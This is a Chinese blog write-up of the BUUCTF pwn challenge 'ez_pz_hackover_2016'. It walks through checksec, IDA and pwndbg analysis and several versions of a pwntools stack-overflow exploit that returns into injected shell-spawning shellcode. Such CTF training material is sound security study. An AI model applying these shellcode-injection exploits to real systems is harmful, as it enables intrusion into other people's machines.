[BUUCTF-pwn]——ez_pz_hackover_2016

最新推荐文章于 2025-03-03 16:52:19 发布

原创最新推荐文章于 2025-03-03 16:52:19 发布 · 452 阅读

2 ·

本内容遵循CC 4.0 BY-SA版权协议

BUUCTF 专栏收录该内容

89 篇文章

订阅专栏

本文介绍了如何解决一个名为'ez_pz_hackover_2016'的CTF挑战，该挑战涉及到栈溢出漏洞的利用。作者通过检查程序保护设置，发现没有开启NX，因此推测需要编写shellcode。在IDA中分析函数后，找到了可以溢出的vuln函数，并通过输入特定字符串触发。经过调试确定了shellcode的地址和返回地址的计算方式，最终构造出exploit并成功交互。

[BUUCTF-pwn]——ez_pz_hackover_2016

题目地址：https://buuoj.cn/challenges#ez_pz_hackover_2016

checksec一下，NX都没开，十有八九是让自己写shellcode了
在这里插入图片描述
在IDA中,main里面没什么可以看的.

在chall函数中发现,0x40C = 1036 > 1023无法栈溢出。不过总算找到可以写shellcode 的地方。

发现vuln函数，只要通过输入"crashme\x00"就可以绕过检查,执行vuln函数。

并且dest可以栈溢出的因为n 远远大于 0x32。下面就是找到shellcode 的地址,作为返回地址就好了。在pwndbg里面寻找偏移。

我先将exploit大概写出来,如下:

from pwn import *
p=process('./ez_pz_hackover_2016')
gdb.attach(p,'b *0x08048600')
shellcode=asm(shellcraft.sh())
p.recvuntil('crash: ')
s_addr=int(p.recvuntil('\n'),16)
print hex(s_addr)
payload='crashme\x00'.ljust(0x32 + 0x4, '\x00')

payload+= 'this'+shellcode
p.sendline(payload)
p.interactive()

其中，'this’是返回地址,待确定。
在pwndbg中看看
在这里插入图片描述

在这里插入图片描述

修改exploit后为

from pwn import *

p=process('./ez_pz_hackover_2016')
gdb.attach(p,'b *0x08048600')
shellcode=asm(shellcraft.sh())
p.recvuntil('crash: ')

s_addr=int(p.recvuntil('\n'),16)
print hex(s_addr)
payload='crashme\x00'.ljust(0x32 + 0x4, '\x00')

payload+=p32(s_addr)+shellcode
p.sendline(payload)
p.interactive()

结果发现不可以继续调试发现, 返回地址不对。虽然不知道为啥
在这里插入图片描述
但是到ebp的距离是0x16

from pwn import *

p=process('./ez_pz_hackover_2016')
gdb.attach(p,'b *0x08048600')
shellcode=asm(shellcraft.sh())
p.recvuntil('crash: ')

s_addr=int(p.recvuntil('\n'),16)
print hex(s_addr)
payload='crashme\x00'.ljust(0x16 + 0x4 + 0x4, '\x00')

payload+='this'+shellcode
p.sendline(payload)
p.interactive()

在这里插入图片描述
调试确定’this’ 是 p32(s_addr - 0x1c)
所以最终exploit为

exploit

from pwn import *
p=process('./ez_pz_hackover_2016')
shellcode=asm(shellcraft.sh())
p.recvuntil('crash: ')

s_addr=int(p.recvuntil('\n'),16)

payload='crashme\x00'.ljust(0x16 + 0x4, '\x00')
payload+=p32(s_addr-0x1c)+shellcode
p.sendline(payload)
p.interactive()